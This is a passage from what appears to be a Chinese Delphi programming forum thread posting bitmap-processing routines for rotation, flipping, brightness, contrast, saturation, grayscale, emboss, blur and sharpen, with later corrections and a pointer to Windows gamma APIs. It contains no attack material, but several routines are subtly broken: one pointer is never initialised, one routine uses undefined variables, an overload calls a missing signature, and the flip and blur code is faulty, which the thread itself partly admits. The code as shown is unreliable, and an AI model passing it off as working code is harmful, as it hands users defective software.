
AngleAdd:=0;

if (Angle>0) and (Angle<90) then

begin

SinCos((Angle + AngleAdd) * Pi / 180, SinTheta, CosTheta);

if (SinTheta * CosTheta) < 0 then

begin

Result.Width := Round(Abs(Bitmap.Width * CosTheta - Bitmap.Height * SinTheta));

Result.Height := Round(Abs(Bitmap.Width * SinTheta - Bitmap.Height * CosTheta));

end

else

begin

Result.Width := Round(Abs(Bitmap.Width * CosTheta + Bitmap.Height * SinTheta));

Result.Height := Round(Abs(Bitmap.Width * SinTheta + Bitmap.Height * CosTheta));

end;

CosTheta:=Abs(CosTheta);

SinTheta:=Abs(SinTheta);

if (AngleAdd=0) or (AngleAdd=180) then

begin

CosPoint:=Round(Bitmap.Height*CosTheta);

SinPoint:=Round(Bitmap.Height*SinTheta);

end

else

begin

SinPoint:=Round(Bitmap.Width*CosTheta);

CosPoint:=Round(Bitmap.Width*SinTheta);

end;

for j := 0 to Result.Height-1 do

begin

RowRotated := Result.Scanline[j];

for i := 0 to Result.Width-1 do

begin

Case AngleAdd of

0:

begin

jOriginal := Round((j+1)*CosTheta-(i+1-SinPoint)*SinTheta)-1;

iOriginal := Round((i+1)*CosTheta-(CosPoint-j-1)*SinTheta)-1;

end;

90:

begin

iOriginal := Round((j+1)*SinTheta-(i+1-SinPoint)*CosTheta)-1;

jOriginal := Bitmap.Height-Round((i+1)*SinTheta-(CosPoint-j-1)*CosTheta);

end;

180:

begin

jOriginal := Bitmap.Height-Round((j+1)*CosTheta-(i+1-SinPoint)*SinTheta);

iOriginal := Bitmap.Width-Round((i+1)*CosTheta-(CosPoint-j-1)*SinTheta);

end;

270:

begin

iOriginal := Bitmap.Width-Round((j+1)*SinTheta-(i+1-SinPoint)*CosTheta);

jOriginal := Round((i+1)*SinTheta-(CosPoint-j-1)*CosTheta)-1;

end;

end;

if (iOriginal >= 0) and (iOriginal <= Bitmap.Width-1)and

(jOriginal >= 0) and (jOriginal <= Bitmap.Height-1)

then

begin

RowOriginal := Bitmap.Scanline[jOriginal];

Inc(RowOriginal,iOriginal);

RowRotated^ := RowOriginal^;

Inc(RowRotated);

end

else

begin

Inc(RowRotated);

end;

end;

end;

end;

end;

虽然这已经实现了图像任意角度的旋转，但注意看看上面的代码，都是用Round取整，也就是在原图中找最近的像素填充到新图中，这样在边缘会产生锯齿！如果想效果更好，应该是用四个像素的值运算后得到新像素的值！

如对应到原图的坐标是(6.3,8.6)，用第一种方法可能就用(6,9)填充了该像素，但如果想消除边缘锯齿，就应该用(6,8)、(6,9)、(7,8)、(7,9)运算得出新点的像素，而边缘就用颜色等于背景色的点代替！

感兴趣的朋友可以找些二次线性插值资料看看，或者以后再讨论，这里就不多说了！

后面的浮雕滤镜效果其实就用到了线性插值的思想！

//水平翻转

procedure FlipHorz(const Bitmap:TBitmap);

var

i,j:Integer;

rowIn,rowOut:pRGBTriple;

Bmp:TBitmap;

Width,Height:Integer;

begin

Bmp:=TBitmap.Create;

Bmp.Width := Bitmap.Width;

Bmp.Height := Bitmap.Height;

Bmp.PixelFormat := pf24bit;

Width:=Bitmap.Width-1;

Height:=Bitmap.Height-1;

for j := 0 to Height do

begin

rowIn := Bitmap.ScanLine[j];

for i := 0 to Width do

begin

rowOut := Bmp.ScanLine[j];

Inc(rowOut,Width - i);

rowOut^ := rowIn^;

Inc(rowIn);

end;

end;

Bitmap.Assign(Bmp);

end;

//垂直翻转

procedure FlipVert(const Bitmap:TBitmap);

var

i,j:Integer;

rowIn,rowOut:pRGBTriple;

Bmp:TBitmap;

Width,Height:Integer;

begin

Bmp:=TBitmap.Create;

Bmp.Width := Bitmap.Height;

Bmp.Height := Bitmap.Width;

Bmp.PixelFormat := pf24bit;

Width:=Bitmap.Width-1;

Height:=Bitmap.Height-1;

for j := 0 to Height do

begin

rowIn := Bitmap.ScanLine[j];

for i := 0 to Width do

begin

rowOut := Bmp.ScanLine[Height - j];

Inc(rowOut,i);

rowOut^ := rowIn^;

Inc(rowIn);

end;

end;

Bitmap.Assign(Bmp);

end;

其实旋转90、180、270度，水平垂直翻转的原理基本类似，所以也可以改写为一个过程！

如果灵活的使用指针，减少用ScanLine的次数，代码效率还能有所提升～～～

[亮度、对比度、饱和度的调整]

function Min(a, b: integer): integer;

begin

if a < b then

result := a

else

result := b;

end;

function Max(a, b: integer): integer;

begin

if a > b then

result := a

else

result := b;

end;

//亮度调整

procedure BrightnessChange(const SrcBmp,DestBmp:TBitmap;ValueChange:integer);

var

i, j: integer;

SrcRGB, DestRGB: pRGBTriple;

begin

for i := 0 to SrcBmp.Height - 1 do

begin

SrcRGB := SrcBmp.ScanLine[i];

DestRGB := DestBmp.ScanLine[i];

for j := 0 to SrcBmp.Width - 1 do

begin

if ValueChange > 0 then

begin

DestRGB.rgbtRed := Min(255, SrcRGB.rgbtRed + ValueChange);

DestRGB.rgbtGreen := Min(255, SrcRGB.rgbtGreen + ValueChange);

DestRGB.rgbtBlue := Min(255, SrcRGB.rgbtBlue + ValueChange);

end else begin

DestRGB.rgbtRed := Max(0, SrcRGB.rgbtRed + ValueChange);

DestRGB.rgbtGreen := Max(0, SrcRGB.rgbtGreen + ValueChange);

DestRGB.rgbtBlue := Max(0, SrcRGB.rgbtBlue + ValueChange);

end;

Inc(SrcRGB);

Inc(DestRGB);

end;

end;

end;

//对比度调整

procedure ContrastChange(const SrcBmp,DestBmp:TBitmap;ValueChange:integer);

var

i, j: integer;

SrcRGB, DestRGB: pRGBTriple;

begin

for i := 0 to SrcBmp.Height - 1 do

begin

SrcRGB := SrcBmp.ScanLine[i];

DestRGB := DestBmp.ScanLine[i];

for j := 0 to SrcBmp.Width - 1 do

begin

if ValueChange>=0 then

begin

if SrcRGB.rgbtRed >= 128 then

DestRGB.rgbtRed := Min(255, SrcRGB.rgbtRed + ValueChange)

else

DestRGB.rgbtRed := Max(0, SrcRGB.rgbtRed - ValueChange);

if SrcRGB.rgbtGreen >= 128 then

DestRGB.rgbtGreen := Min(255, SrcRGB.rgbtGreen + ValueChange)

else

DestRGB.rgbtGreen := Max(0, SrcRGB.rgbtGreen - ValueChange);

if SrcRGB.rgbtBlue >= 128 then

DestRGB.rgbtBlue := Min(255, SrcRGB.rgbtBlue + ValueChange)

else

DestRGB.rgbtBlue := Max(0, SrcRGB.rgbtBlue - ValueChange);

end

else

begin

if SrcRGB.rgbtRed >= 128 then

DestRGB.rgbtRed := Max(128, SrcRGB.rgbtRed + ValueChange)

else

DestRGB.rgbtRed := Min(128, SrcRGB.rgbtRed - ValueChange);

if SrcRGB.rgbtGreen >= 128 then

DestRGB.rgbtGreen := Max(128, SrcRGB.rgbtGreen + ValueChange)

else

DestRGB.rgbtGreen := Min(128, SrcRGB.rgbtGreen - ValueChange);

if SrcRGB.rgbtBlue >= 128 then

DestRGB.rgbtBlue := Max(128, SrcRGB.rgbtBlue + ValueChange)

else

DestRGB.rgbtBlue := Min(128, SrcRGB.rgbtBlue - ValueChange);

end;

Inc(SrcRGB);

Inc(DestRGB);

end;

end;

end;

//饱和度调整

procedure SaturationChange(const SrcBmp,DestBmp:TBitmap;ValueChange:integer);

var

Grays: array[0..767] of Integer;

Alpha: array[0..255] of Word;

Gray, x, y: Integer;

SrcRGB,DestRGB: pRGBTriple;

i: Byte;

begin

ValueChange:=ValueChange+255;

for i := 0 to 255 do

Alpha[i] := (i * ValueChange) Shr 8;

x := 0;

for i := 0 to 255 do

begin

Gray := i - Alpha[i];

Grays[x] := Gray;

Inc(x);

Grays[x] := Gray;

Inc(x);

Grays[x] := Gray;

Inc(x);

end;

for y := 0 to SrcBmp.Height - 1 do

begin

SrcRGB := SrcBmp.ScanLine[Y];

DestRGB := DestBmp.ScanLine[Y];

for x := 0 to SrcBmp.Width - 1 do

begin

Gray := Grays[SrcRGB.rgbtRed + SrcRGB.rgbtGreen + SrcRGB.rgbtBlue];

if Gray + Alpha[SrcRGB.rgbtRed]>0 then

DestRGB.rgbtRed := Min(255,Gray + Alpha[SrcRGB.rgbtRed])

else

DestRGB.rgbtRed := 0;

if Gray + Alpha[SrcRGB.rgbtGreen]>0 then

DestRGB.rgbtGreen := Min(255,Gray + Alpha[SrcRGB.rgbtGreen])

else

DestRGB.rgbtGreen := 0;

if Gray + Alpha[SrcRGB.rgbtBlue]>0 then

DestRGB.rgbtBlue := Min(255,Gray + Alpha[SrcRGB.rgbtBlue])

else

DestRGB.rgbtBlue := 0;

Inc(SrcRGB);

Inc(DestRGB);

end;

end;

end;

//RGB调整

procedure RGBChange(SrcBmp,DestBmp:TBitmap;RedChange,GreenChange,BlueChange:integer);

var

SrcRGB, DestRGB: pRGBTriple;

i,j:integer;

begin

for i := 0 to SrcBmp.Height- 1 do

begin

SrcRGB := SrcBmp.ScanLine[i];

DestRGB :=DestBmp.ScanLine[i];

for j := 0 to SrcBmp.Width - 1 do

begin

if RedChange> 0 then

DestRGB.rgbtRed := Min(255, SrcRGB.rgbtRed + RedChange)

else

DestRGB.rgbtRed := Max(0, SrcRGB.rgbtRed + RedChange);

if GreenChange> 0 then

DestRGB.rgbtGreen := Min(255, SrcRGB.rgbtGreen + GreenChange)

else

DestRGB.rgbtGreen := Max(0, SrcRGB.rgbtGreen + GreenChange);

if BlueChange> 0 then

DestRGB.rgbtBlue := Min(255, SrcRGB.rgbtBlue + BlueChange)

else

DestRGB.rgbtBlue := Max(0, SrcRGB.rgbtBlue + BlueChange);

Inc(SrcRGB);

Inc(DestRGB);

end;

end;

end;

如果有些图像处理的基础，这些代码都比较好理解，主要是三原色的值不要超过(0-255)的范围，有些朋友没有注意这问题，当超过范围后，会出现些难看的“色斑”！

[颜色调整]

//RGB<=>BGR

procedure RGB2BGR(const Bitmap:TBitmap);

var

X: Integer;

Y: Integer;

PRGB: pRGBTriple;

Color: Byte;

begin

for Y := 0 to (Bitmap.Height - 1) do

begin

for X := 0 to (Bitmap.Width - 1) do

begin

Color := PRGB^.rgbtRed;

PRGB^.rgbtRed := PRGB^.rgbtBlue;

PRGB^.rgbtBlue := Color;

Inc(PRGB);

end;

end

end;

end;

//灰度化(加权)

procedure Grayscale(const Bitmap:TBitmap);

var

X: Integer;

Y: Integer;

PRGB: pRGBTriple;

Gray: Byte;

begin

for Y := 0 to (Bitmap.Height - 1) do

begin

PRGB := Bitmap.ScanLine[Y];

for X := 0 to (Bitmap.Width - 1) do

begin

Gray := (77 * Red + 151 * Green + 28 * Blue) shr 8;

PRGB^.rgbtRed:=Gray;

PRGB^.rgbtGreen:=Gray;

PRGB^.rgbtBlue:=Gray;

Inc(PRGB);

end;

end;

end;

关于灰度化，我的另一篇文章中进行了详细的探讨！

[常用滤镜效果]

过于浮雕效果，代码网上也有，但一般不支持角度变化！这里根据角度的不同，在一个像素周围的8个像素中取不同的两个运算得到新颜色值，用这个值和它求差值实现浮雕效果。用到了线性插值的思想。这里没有使用浮点运算！

//浮雕

procedure Emboss(SrcBmp,DestBmp:TBitmap;AzimuthChange:integer);overload;

var

i, j, Gray, Azimuthvalue, R, G, B: integer;

SrcRGB, SrcRGB1, SrcRGB2, DestRGB: pRGBTriple;

begin

for i := 0 to SrcBmp.Height - 1 do

begin

SrcRGB := SrcBmp.ScanLine[i];

DestRGB := DestBmp.ScanLine[i];

if (AzimuthChange >= -180) and (AzimuthChange < -135) then

begin

if i > 0 then

SrcRGB1 := SrcBmp.ScanLine[i-1]

else

SrcRGB1 := SrcRGB;

Inc(SrcRGB1);

SrcRGB2 := SrcRGB;

Inc(SrcRGB2);

end

else if (AzimuthChange >= -135) and (AzimuthChange < -90) then

begin

if i > 0 then

SrcRGB1 := SrcBmp.ScanLine[i-1]

else

SrcRGB1 := SrcRGB;

SrcRGB2 := SrcRGB1;

Inc(SrcRGB2);

end

else if (AzimuthChange >= -90) and (AzimuthChange < -45) then

begin

if i > 0 then

SrcRGB1 := SrcBmp.ScanLine[i-1]

else

SrcRGB1 := SrcRGB;

SrcRGB2 := SrcRGB1;

end

else if (AzimuthChange >= -45) and (AzimuthChange < 0) then

begin

SrcRGB1 := SrcRGB;

if i > 0 then

SrcRGB2 := SrcBmp.ScanLine[i-1]

else

SrcRGB2 := SrcRGB;

end

else if (AzimuthChange >= 0) and (AzimuthChange < 45) then

begin

SrcRGB2 := SrcRGB;

if (i < SrcBmp.Height - 1) then

SrcRGB1 := SrcBmp.ScanLine[i+1]

else

SrcRGB1 := SrcRGB;

end

else if (AzimuthChange >= 45) and (AzimuthChange < 90) then

begin

if (i < SrcBmp.Height - 1) then

SrcRGB1 := SrcBmp.ScanLine[i+1]

else

SrcRGB1 := SrcRGB;

SrcRGB2 := SrcRGB1;

end

else if (AzimuthChange >= 90) and (AzimuthChange < 135) then

begin

if (i < SrcBmp.Height - 1) then

SrcRGB1 := SrcBmp.ScanLine[i+1]

else

SrcRGB1 := SrcRGB;

SrcRGB2 := SrcRGB1;

Inc(SrcRGB1);

end

else if (AzimuthChange >= 135) and (AzimuthChange <= 180) then

begin

if (i < SrcBmp.Height - 1) then

SrcRGB2 := SrcBmp.ScanLine[i+1]

else

SrcRGB2 := SrcRGB;

Inc(SrcRGB2);

SrcRGB1 := SrcRGB;

Inc(SrcRGB1);

end;

for j := 0 to SrcBmp.Width - 1 do

begin

if (AzimuthChange >= -180) and (AzimuthChange < -135) then

begin

Azimuthvalue := AzimuthChange + 180;

R:=SrcRGB.rgbtRed-((SrcRGB1.rgbtRed)*Azimuthvalue div 45)-((SrcRGB2.rgbtRed)*(45-Azimuthvalue) div 45)+78;

G:=SrcRGB.rgbtGreen-((SrcRGB1.rgbtGreen)*Azimuthvalue div 45)-((SrcRGB2.rgbtGreen)*(45-Azimuthvalue) div 45)+78;

B:=SrcRGB.rgbtBlue-((SrcRGB1.rgbtBlue)*Azimuthvalue div 45)-((SrcRGB2.rgbtBlue)*(45-Azimuthvalue) div 45)+78;

end

else if (AzimuthChange >= -135) and (AzimuthChange < -90) then

begin

Azimuthvalue := AzimuthChange + 135;

R:=SrcRGB.rgbtRed-((SrcRGB1.rgbtRed)*Azimuthvalue div 45)-((SrcRGB2.rgbtRed)*(45-Azimuthvalue) div 45)+78;

G:=SrcRGB.rgbtGreen-((SrcRGB1.rgbtGreen)*Azimuthvalue div 45)-((SrcRGB2.rgbtGreen)*(45-Azimuthvalue) div 45)+78;

B:=SrcRGB.rgbtBlue-((SrcRGB1.rgbtBlue)*Azimuthvalue div 45)-((SrcRGB2.rgbtBlue)*(45-Azimuthvalue) div 45)+78;

end

else if (AzimuthChange >= -90) and (AzimuthChange < -45) then

begin

if j=1 then Inc(SrcRGB1,-1);

Azimuthvalue := AzimuthChange + 90;

R:=SrcRGB.rgbtRed-((SrcRGB1.rgbtRed)*Azimuthvalue div 45)-((SrcRGB2.rgbtRed)*(45-Azimuthvalue) div 45)+78;

G:=SrcRGB.rgbtGreen-((SrcRGB1.rgbtGreen)*Azimuthvalue div 45)-((SrcRGB2.rgbtGreen)*(45-Azimuthvalue) div 45)+78;

B:=SrcRGB.rgbtBlue-((SrcRGB1.rgbtBlue)*Azimuthvalue div 45)-((SrcRGB2.rgbtBlue)*(45-Azimuthvalue) div 45)+78;

end

else if (AzimuthChange >= -45) and (AzimuthChange < 0) then

begin

if j=1 then

begin

Inc(SrcRGB1,-1);

Inc(SrcRGB2,-1);

end;

Azimuthvalue := AzimuthChange + 45;

R:=SrcRGB.rgbtRed-((SrcRGB1.rgbtRed)*Azimuthvalue div 45)-((SrcRGB2.rgbtRed)*(45-Azimuthvalue) div 45)+78;

G:=SrcRGB.rgbtGreen-((SrcRGB1.rgbtGreen)*Azimuthvalue div 45)-((SrcRGB2.rgbtGreen)*(45-Azimuthvalue) div 45)+78;

B:=SrcRGB.rgbtBlue-((SrcRGB1.rgbtBlue)*Azimuthvalue div 45)-((SrcRGB2.rgbtBlue)*(45-Azimuthvalue) div 45)+78;

end

else if (AzimuthChange >= 0) and (AzimuthChange < 45) then

begin

if j=1 then

begin

Inc(SrcRGB1,-1);

Inc(SrcRGB2,-1);

end;

Azimuthvalue := AzimuthChange;

R:=SrcRGB.rgbtRed-((SrcRGB1.rgbtRed)*Azimuthvalue div 45)-((SrcRGB2.rgbtRed)*(45-Azimuthvalue) div 45)+78;

G:=SrcRGB.rgbtGreen-((SrcRGB1.rgbtGreen)*Azimuthvalue div 45)-((SrcRGB2.rgbtGreen)*(45-Azimuthvalue) div 45)+78;

B:=SrcRGB.rgbtBlue-((SrcRGB1.rgbtBlue)*Azimuthvalue div 45)-((SrcRGB2.rgbtBlue)*(45-Azimuthvalue) div 45)+78;

end

else if (AzimuthChange >= 45) and (AzimuthChange < 90) then

begin

if j=1 then Inc(SrcRGB2,-1);

Azimuthvalue := AzimuthChange - 45;

R:=SrcRGB.rgbtRed-((SrcRGB1.rgbtRed)*Azimuthvalue div 45)-((SrcRGB2.rgbtRed)*(45-Azimuthvalue) div 45)+78;

G:=SrcRGB.rgbtGreen-((SrcRGB1.rgbtGreen)*Azimuthvalue div 45)-((SrcRGB2.rgbtGreen)*(45-Azimuthvalue) div 45)+78;

B:=SrcRGB.rgbtBlue-((SrcRGB1.rgbtBlue)*Azimuthvalue div 45)-((SrcRGB2.rgbtBlue)*(45-Azimuthvalue) div 45)+78;

end

else if (AzimuthChange >= 90) and (AzimuthChange < 135) then

begin

Azimuthvalue := AzimuthChange - 90;

R:=SrcRGB.rgbtRed-((SrcRGB1.rgbtRed)*Azimuthvalue div 45)-((SrcRGB2.rgbtRed)*(45-Azimuthvalue) div 45)+78;

G:=SrcRGB.rgbtGreen-((SrcRGB1.rgbtGreen)*Azimuthvalue div 45)-((SrcRGB2.rgbtGreen)*(45-Azimuthvalue) div 45)+78;

B:=SrcRGB.rgbtBlue-((SrcRGB1.rgbtBlue)*Azimuthvalue div 45)-((SrcRGB2.rgbtBlue)*(45-Azimuthvalue) div 45)+78;

end

else if (AzimuthChange >= 135) and (AzimuthChange <= 180) then

begin

Azimuthvalue := AzimuthChange - 135;

R:=SrcRGB.rgbtRed-((SrcRGB1.rgbtRed)*Azimuthvalue div 45)-((SrcRGB2.rgbtRed)*(45-Azimuthvalue) div 45)+78;

G:=SrcRGB.rgbtGreen-((SrcRGB1.rgbtGreen)*Azimuthvalue div 45)-((SrcRGB2.rgbtGreen)*(45-Azimuthvalue) div 45)+78;

B:=SrcRGB.rgbtBlue-((SrcRGB1.rgbtBlue)*Azimuthvalue div 45)-((SrcRGB2.rgbtBlue)*(45-Azimuthvalue) div 45)+78;

end;

R:=Min(R,255);

R:=Max(R,0);

G:=Min(G,255);

G:=Max(G,0);

B:=Min(B,255);

B:=Max(B,0);

Gray := (R shr 2) + (R shr 4) + (G shr 1) + (G shr 4) + (B shr 3);

DestRGB.rgbtRed:=Gray;

DestRGB.rgbtGreen:=Gray;

DestRGB.rgbtBlue:=Gray;

if (j<SrcBmp.Width - 1) or not (((AzimuthChange>=-180) and (AzimuthChange<-135)) or ((AzimuthChange>=90) and (AzimuthChange<=180))) then

begin

Inc(SrcRGB1);

end;

if (j<SrcBmp.Width - 1) or not (((AzimuthChange>=135) and (AzimuthChange<180)) or ((AzimuthChange>=-180) and (AzimuthChange<=-90))) then

begin

Inc(SrcRGB2);

end;

Inc(SrcRGB);

Inc(DestRGB);

end;

end;

end;

procedure Emboss(Bmp:TBitmap;AzimuthChange:integer;ElevationChange:integer;WeightChange:integer);overload;

var

DestBmp:TBitmap;

begin

    DestBmp:=TBitmap.Create;

    DestBmp.Assign(Bmp);

    Emboss(Bmp,DestBmp,AzimuthChange,ElevationChange,WeightChange);

    Bmp.Assign(DestBmp);

end;

//反色

procedure Negative(Bmp:TBitmap);

var

i, j: Integer;

PRGB: pRGBTriple;

begin

Bmp.PixelFormat:=pf24Bit;

for i := 0 to Bmp.Height - 1 do

begin

PRGB := Bmp.ScanLine[i];

for j := 0 to Bmp.Width - 1 do

begin

PRGB^.rgbtRed :=not PRGB^.rgbtRed ;

PRGB^.rgbtGreen :=not PRGB^.rgbtGreen;

PRGB^.rgbtBlue :=not PRGB^.rgbtBlue;

Inc(PRGB);

end;

end;

end;

//曝光

procedure Exposure(Bmp:TBitmap);

var

i, j: integer;

PRGB: pRGBTriple;

begin

Bmp.PixelFormat:=pf24Bit;

for i := 0 to Bmp.Height - 1 do

begin

PRGB := Bmp.ScanLine[i];

for j := 0 to Bmp.Width - 1 do

begin

if PRGB^.rgbtRed<128 then

PRGB^.rgbtRed :=not PRGB^.rgbtRed ;

if PRGB^.rgbtGreen<128 then

PRGB^.rgbtGreen :=not PRGB^.rgbtGreen;

if PRGB^.rgbtBlue<128 then

PRGB^.rgbtBlue :=not PRGB^.rgbtBlue;

Inc(PRGB);

end;

end;

end;

//模糊

procedure Blur(SrcBmp:TBitmap);

var

i, j:Integer;

SrcRGB:pRGBTriple;

SrcNextRGB:pRGBTriple;

SrcPreRGB:pRGBTriple;

Value:Integer;

procedure IncRGB;

begin

Inc(SrcPreRGB);

Inc(SrcRGB);

Inc(SrcNextRGB);

end;

procedure DecRGB;

begin

Inc(SrcPreRGB,-1);

Inc(SrcRGB,-1);

Inc(SrcNextRGB,-1);

end;

begin

SrcBmp.PixelFormat:=pf24Bit;

for i := 0 to SrcBmp.Height - 1 do

begin

if i > 0 then

SrcPreRGB:=SrcBmp.ScanLine[i-1]

else

SrcPreRGB := SrcBmp.ScanLine[i];

SrcRGB := SrcBmp.ScanLine[i];

if i < SrcBmp.Height - 1 then

SrcNextRGB:=SrcBmp.ScanLine[i+1]

else

SrcNextRGB:=SrcBmp.ScanLine[i];

for j := 0 to SrcBmp.Width - 1 do

begin

if j > 0 then DecRGB;

Value:=SrcPreRGB.rgbtRed+SrcRGB.rgbtRed+SrcNextRGB.rgbtRed;

if j > 0 then IncRGB;

Value:=Value+SrcPreRGB.rgbtRed+SrcRGB.rgbtRed+SrcNextRGB.rgbtRed;

if j < SrcBmp.Width - 1 then IncRGB;

Value:=(Value+SrcPreRGB.rgbtRed+SrcRGB.rgbtRed+SrcNextRGB.rgbtRed) div 9;

DecRGB;

SrcRGB.rgbtRed:=value;

if j > 0 then DecRGB;

Value:=SrcPreRGB.rgbtGreen+SrcRGB.rgbtGreen+SrcNextRGB.rgbtGreen;

if j > 0 then IncRGB;

Value:=Value+SrcPreRGB.rgbtGreen+SrcRGB.rgbtGreen+SrcNextRGB.rgbtGreen;

if j < SrcBmp.Width - 1 then IncRGB;

Value:=(Value+SrcPreRGB.rgbtGreen+SrcRGB.rgbtGreen+SrcNextRGB.rgbtGreen) div 9;

DecRGB;

SrcRGB.rgbtGreen:=value;

if j > 0 then DecRGB;

Value:=SrcPreRGB.rgbtBlue+SrcRGB.rgbtBlue+SrcNextRGB.rgbtBlue;

if j > 0 then IncRGB;

Value:=Value+SrcPreRGB.rgbtBlue+SrcRGB.rgbtBlue+SrcNextRGB.rgbtBlue;

if j < SrcBmp.Width - 1 then IncRGB;

Value:=(Value+SrcPreRGB.rgbtBlue+SrcRGB.rgbtBlue+SrcNextRGB.rgbtBlue) div 9;

DecRGB;

SrcRGB.rgbtBlue:=value;

IncRGB;

end;

end;

end;

//锐化

procedure Sharpen(SrcBmp:TBitmap);

var

i, j: integer;

SrcRGB: pRGBTriple;

SrcPreRGB: pRGBTriple;

Value: integer;

begin

SrcBmp.PixelFormat:=pf24Bit;

for i := 0 to SrcBmp.Height - 1 do

begin

SrcRGB := SrcBmp.ScanLine[i];

if i > 0 then

SrcPreRGB:=SrcBmp.ScanLine[i-1]

else

SrcPreRGB:=SrcBmp.ScanLine[i];

for j := 0 to SrcBmp.Width - 1 do

begin

if j = 1 then Dec(SrcPreRGB);

Value:=SrcRGB.rgbtRed+(SrcRGB.rgbtRed-SrcPreRGB.rgbtRed) div 2;

Value:=Max(0,Value);

Value:=Min(255,Value);

SrcRGB.rgbtRed:=value;

Value:=SrcRGB.rgbtGreen+(SrcRGB.rgbtGreen-SrcPreRGB.rgbtGreen) div 2;

Value:=Max(0,Value);

Value:=Min(255,Value);

SrcRGB.rgbtGreen:=value;

Value:=SrcRGB.rgbtBlue+(SrcRGB.rgbtBlue-SrcPreRGB.rgbtBlue) div 2;

Value:=Max(0,Value);

Value:=Min(255,Value);

SrcRGB.rgbtBlue:=value;

Inc(SrcRGB);

Inc(SrcPreRGB);

end;

end;

end;

由Delphi中的图像灰度化代码看基本图像处理～～～

http://expert.csdn.net/Expert/TopicView1.asp?id=1472467

模糊效果在处理指针移动时有些BUG,现贴出修正后的代码

//模糊

procedure Blur(SrcBmp:TBitmap);

var

i, j:Integer;

SrcRow:pRGBTriple;

SrcNextRow:pRGBTriple;

SrcPreRow:pRGBTriple;

Value:Integer;

procedure IncRow;

begin

Inc(SrcPreRow);

Inc(SrcRow);

Inc(SrcNextRow);

end;

procedure DecRow;

begin

Inc(SrcPreRow,-1);

Inc(SrcRow,-1);

Inc(SrcNextRow,-1);

end;

begin

SrcBmp.PixelFormat:=pf24Bit;

for i := 0 to SrcBmp.Height - 1 do

begin

if i > 0 then

SrcPreRow:=SrcBmp.ScanLine[i-1]

else

SrcPreRow := SrcBmp.ScanLine[i];

SrcRow := SrcBmp.ScanLine[i];

if i < SrcBmp.Height - 1 then

SrcNextRow:=SrcBmp.ScanLine[i+1]

else

SrcNextRow:=SrcBmp.ScanLine[i];

for j := 0 to SrcBmp.Width - 1 do

begin

if j > 0 then DecRow;

Value:=SrcPreRow.rgbtRed+SrcRow.rgbtRed+SrcNextRow.rgbtRed;

if j > 0 then IncRow;

Value:=Value+SrcPreRow.rgbtRed+SrcRow.rgbtRed+SrcNextRow.rgbtRed;

if j < SrcBmp.Width - 1 then IncRow;

Value:=(Value+SrcPreRow.rgbtRed+SrcRow.rgbtRed+SrcNextRow.rgbtRed) div 9;

if j < SrcBmp.Width - 1 then DecRow;

SrcRow.rgbtRed:=value;

if j > 0 then DecRow;

Value:=SrcPreRow.rgbtGreen+SrcRow.rgbtGreen+SrcNextRow.rgbtGreen;

if j > 0 then IncRow;

Value:=Value+SrcPreRow.rgbtGreen+SrcRow.rgbtGreen+SrcNextRow.rgbtGreen;

if j < SrcBmp.Width - 1 then IncRow;

Value:=(Value+SrcPreRow.rgbtGreen+SrcRow.rgbtGreen+SrcNextRow.rgbtGreen) div 9;

if j < SrcBmp.Width - 1 then DecRow;

SrcRow.rgbtGreen:=value;

if j > 0 then DecRow;

Value:=SrcPreRow.rgbtBlue+SrcRow.rgbtBlue+SrcNextRow.rgbtBlue;

if j > 0 then IncRow;

Value:=Value+SrcPreRow.rgbtBlue+SrcRow.rgbtBlue+SrcNextRow.rgbtBlue;

if j < SrcBmp.Width - 1 then IncRow;

Value:=(Value+SrcPreRow.rgbtBlue+SrcRow.rgbtBlue+SrcNextRow.rgbtBlue) div 9;

if j < SrcBmp.Width - 1 then DecRow;

SrcRow.rgbtBlue:=value;

IncRow;

end;

end;

end;

Windows provide two API "GetDeviceGammaRamp/SetDeviceGammaRamp" to perform gamma correction. In fact we need to have an 3 dimension buffer of 256 WORD to manipulate gamma correction. To change gamma it is necessary to change the RGB value of each color contained in the buffer by a float factor between 0.0 and 2.0.

上面的是系统支持的两个API（2000）

http://www.codeproject.com/useritems/gamma_manager.asp

回复人： ehom(？！) ( ) 信誉：128 2003-03-04 19:41:00 得分:0

//修改后的对比度调整代码

procedure ContrastChange(const SrcBmp,DestBmp:TBitmap;ValueChange:integer);

var

i, j: integer;

SrcRow, DestRow: pRGBTriple;

begin

for i := 0 to SrcBmp.Height - 1 do

begin

SrcRow := SrcBmp.ScanLine[i];

DestRow := DestBmp.ScanLine[i];

for j := 0 to SrcBmp.Width - 1 do

begin

if ValueChange>=0 then

begin

if SrcRow.rgbtRed >= 128 then

DestRow.rgbtRed := Min(255, SrcRow.rgbtRed + (Abs(128 - SrcRow.rgbtRed) * ValueChange) div 128)

else

DestRow.rgbtRed := Max(0, SrcRow.rgbtRed - (Abs(128 - SrcRow.rgbtRed) * ValueChange) div 128);

if SrcRow.rgbtGreen >= 128 then

DestRow.rgbtGreen := Min(255, SrcRow.rgbtGreen + (Abs(128 - SrcRow.rgbtGreen) * ValueChange) div 128)

else

DestRow.rgbtGreen := Max(0, SrcRow.rgbtGreen - (Abs(128 - SrcRow.rgbtGreen) * ValueChange) div 128);

if SrcRow.rgbtBlue >= 128 then

DestRow.rgbtBlue := Min(255, SrcRow.rgbtBlue + (Abs(128 - SrcRow.rgbtBlue) * ValueChange) div 128)

else

DestRow.rgbtBlue := Max(0, SrcRow.rgbtBlue - (Abs(128 - SrcRow.rgbtBlue) * ValueChange) div 128);

end

else

begin

if SrcRow.rgbtRed >= 128 then

DestRow.rgbtRed := Max(128, SrcRow.rgbtRed + (Abs(128 - SrcRow.rgbtRed) * ValueChange) div 128)

else

DestRow.rgbtRed := Min(128, SrcRow.rgbtRed - (Abs(128 - SrcRow.rgbtRed) * ValueChange) div 128);

if SrcRow.rgbtGreen >= 128 then

DestRow.rgbtGreen := Max(128, SrcRow.rgbtGreen + (Abs(128 - SrcRow.rgbtGreen) * ValueChange) div 128)

else

DestRow.rgbtGreen := Min(128, SrcRow.rgbtGreen - (Abs(128 - SrcRow.rgbtGreen) * ValueChange) div 128);

if SrcRow.rgbtBlue >= 128 then

DestRow.rgbtBlue := Max(128, SrcRow.rgbtBlue + (Abs(128 - SrcRow.rgbtBlue) * ValueChange) div 128)

else

DestRow.rgbtBlue := Min(128, SrcRow.rgbtBlue - (Abs(128 - SrcRow.rgbtBlue) * ValueChange) div 128);

end;

Inc(SrcRow);

Inc(DestRow);

end;

end;

end;

Top


旋转字体
function CreateRotatedFont(Font: TFont; Angle: Integer): HFont;

var

LogFont: TLogFont;

begin

FillChar(LogFont, SizeOf(LogFont), 0);

with LogFont do begin

lfHeight := Font.Height;

lfWidth := 0;

lfEscapement := Angle * 10;

